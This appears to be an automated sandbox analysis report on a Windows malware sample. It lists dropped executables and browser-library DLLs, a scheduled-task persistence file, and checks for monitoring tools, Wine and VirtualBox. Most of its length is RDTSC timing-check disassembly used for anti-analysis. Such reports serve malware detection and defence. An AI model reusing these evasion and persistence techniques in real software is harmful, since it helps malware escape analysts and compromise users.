Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: .idata
Source: skotes.exe.24.dr	Static PE information: section name:
Source: skotes.exe.24.dr	Static PE information: section name: mtubkuce
Source: skotes.exe.24.dr	Static PE information: section name: fjbqbvbv
Source: skotes.exe.24.dr	Static PE information: section name: .taggant
Source: 4965008c28.exe.28.dr	Static PE information: section name:
Source: 4965008c28.exe.28.dr	Static PE information: section name: .rsrc
Source: 4965008c28.exe.28.dr	Static PE information: section name: .idata
Source: 4965008c28.exe.28.dr	Static PE information: section name:
Source: 4965008c28.exe.28.dr	Static PE information: section name: pablyzls
Source: 4965008c28.exe.28.dr	Static PE information: section name: ldihguet
Source: 4965008c28.exe.28.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97B536 push ecx; ret		0_2_6C97B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00D5D91C push ecx; ret		28_2_00D5D92F

Source: file.exe	Static PE information: section name: ldvhpekm entropy: 7.955852515970652
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name: entropy: 7.985923989746153
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name: mtubkuce entropy: 7.953925168272313
Source: skotes.exe.24.dr	Static PE information: section name: entropy: 7.985923989746153
Source: skotes.exe.24.dr	Static PE information: section name: mtubkuce entropy: 7.953925168272313

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEBKEHJJDAA.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsEBKEHJJDAA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008317001\4965008c28.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEBKEHJJDAA.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsEBKEHJJDAA.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsEBKEHJJDAA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9A55F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C9A55F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF9CD second address: 4FF9D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FF9D1 second address: 4FF9D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51CC0F second address: 51CC3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B405h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7BB475B403h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51CD94 second address: 51CD98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51CF25 second address: 51CF2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F7BB475B3F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51CF2F second address: 51CF35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51CF35 second address: 51CF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a jo 00007F7BB475B3F6h 0x00000010 jbe 00007F7BB475B3F6h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 js 00007F7BB475B3F6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0CF second address: 51D0D9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0D9 second address: 51D0F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7BB475B3FCh 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51D0F3 second address: 51D0F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51FF55 second address: 51FF60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51FFDB second address: 51FFE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51FFE1 second address: 520035 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B406h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F7BB475B406h 0x00000011 mov ecx, 32EECB1Bh 0x00000016 push 00000000h 0x00000018 mov esi, 1F8E177Fh 0x0000001d push 42B01EA2h 0x00000022 pushad 0x00000023 pushad 0x00000024 jmp 00007F7BB475B3FCh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520035 second address: 5200B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7BB4E67DE5h 0x0000000a popad 0x0000000b xor dword ptr [esp], 42B01E22h 0x00000012 jns 00007F7BB4E67DE9h 0x00000018 mov dword ptr [ebp+122D26D6h], edi 0x0000001e push 00000003h 0x00000020 pushad 0x00000021 mov ebx, dword ptr [ebp+122D37E2h] 0x00000027 mov si, 24ACh 0x0000002b popad 0x0000002c push 00000000h 0x0000002e mov edx, dword ptr [ebp+122D3756h] 0x00000034 push 00000003h 0x00000036 add dword ptr [ebp+122D2C9Ch], ebx 0x0000003c add dx, 7A79h 0x00000041 push 9D1CE659h 0x00000046 push edi 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007F7BB4E67DE8h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5200B9 second address: 5200EB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 xor dword ptr [esp], 5D1CE659h 0x0000000e mov dword ptr [ebp+122D1FFDh], edi 0x00000014 lea ebx, dword ptr [ebp+12453E73h] 0x0000001a pushad 0x0000001b add dword ptr [ebp+122D3212h], esi 0x00000021 jmp 00007F7BB475B3FAh 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c pop eax 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5202A1 second address: 5202A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5202A5 second address: 5202A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5202A9 second address: 5202AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5202AF second address: 5202DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dh, 75h 0x0000000c push 00000000h 0x0000000e mov edx, dword ptr [ebp+122D382Eh] 0x00000014 push BD2AB8D7h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5202DD second address: 5202F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BB4E67DE1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5202F2 second address: 5202F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5202F6 second address: 520356 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 42D547A9h 0x0000000f add dword ptr [ebp+122D2E9Ah], eax 0x00000015 mov esi, dword ptr [ebp+122D3806h] 0x0000001b push 00000003h 0x0000001d or dh, 00000058h 0x00000020 push 00000000h 0x00000022 or dword ptr [ebp+122D31E4h], edx 0x00000028 push 00000003h 0x0000002a mov cx, 1884h 0x0000002e push ADCDECF2h 0x00000033 jmp 00007F7BB4E67DDCh 0x00000038 xor dword ptr [esp], 6DCDECF2h 0x0000003f xor dword ptr [ebp+122D291Dh], ebx 0x00000045 lea ebx, dword ptr [ebp+12453E87h] 0x0000004b jns 00007F7BB4E67DD8h 0x00000051 mov edi, ebx 0x00000053 xchg eax, ebx 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520356 second address: 52035C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52035C second address: 520361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520361 second address: 520366 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520366 second address: 520373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520373 second address: 520377 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520377 second address: 52037B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5321BB second address: 5321C1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5321C1 second address: 5321CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F7BB4E67DD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F462 second address: 53F46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F46E second address: 53F477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F477 second address: 53F47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53F47D second address: 53F487 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7BB4E67DD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FAE1 second address: 53FAF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F7BB475B3F6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FAF3 second address: 53FB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 pushad 0x00000007 jmp 00007F7BB4E67DDAh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7BB4E67DDDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53FE16 second address: 53FE35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B405h 0x00000007 jnl 00007F7BB475B3F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502FC4 second address: 502FCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502FCA second address: 502FD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502FD3 second address: 502FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB4E67DE8h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502FF0 second address: 503000 instructions: 0x00000000 rdtsc 0x00000002 js 00007F7BB475B402h 0x00000008 jp 00007F7BB475B3F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540758 second address: 540779 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7BB4E67DE4h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540779 second address: 54078E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B401h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54078E second address: 540794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540794 second address: 5407A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F7BB475B3F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5407A0 second address: 5407A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5407A4 second address: 5407B3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7BB475B3F6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5407B3 second address: 5407B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540BE6 second address: 540BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540BEA second address: 540BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540BF2 second address: 540C0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7BB475B406h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540C0F second address: 540C3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F7BB4E67DDCh 0x0000000b jg 00007F7BB4E67DD6h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7BB4E67DDFh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540F58 second address: 540F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7BB475B3F6h 0x0000000a jns 00007F7BB475B3FCh 0x00000010 push esi 0x00000011 jmp 00007F7BB475B3FEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540F7F second address: 540F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 509AE7 second address: 509AED instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54530D second address: 545340 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jng 00007F7BB4E67DD6h 0x00000010 jbe 00007F7BB4E67DD6h 0x00000016 popad 0x00000017 pushad 0x00000018 jno 00007F7BB4E67DD6h 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007F7BB4E67DE1h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50EEC3 second address: 50EEC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
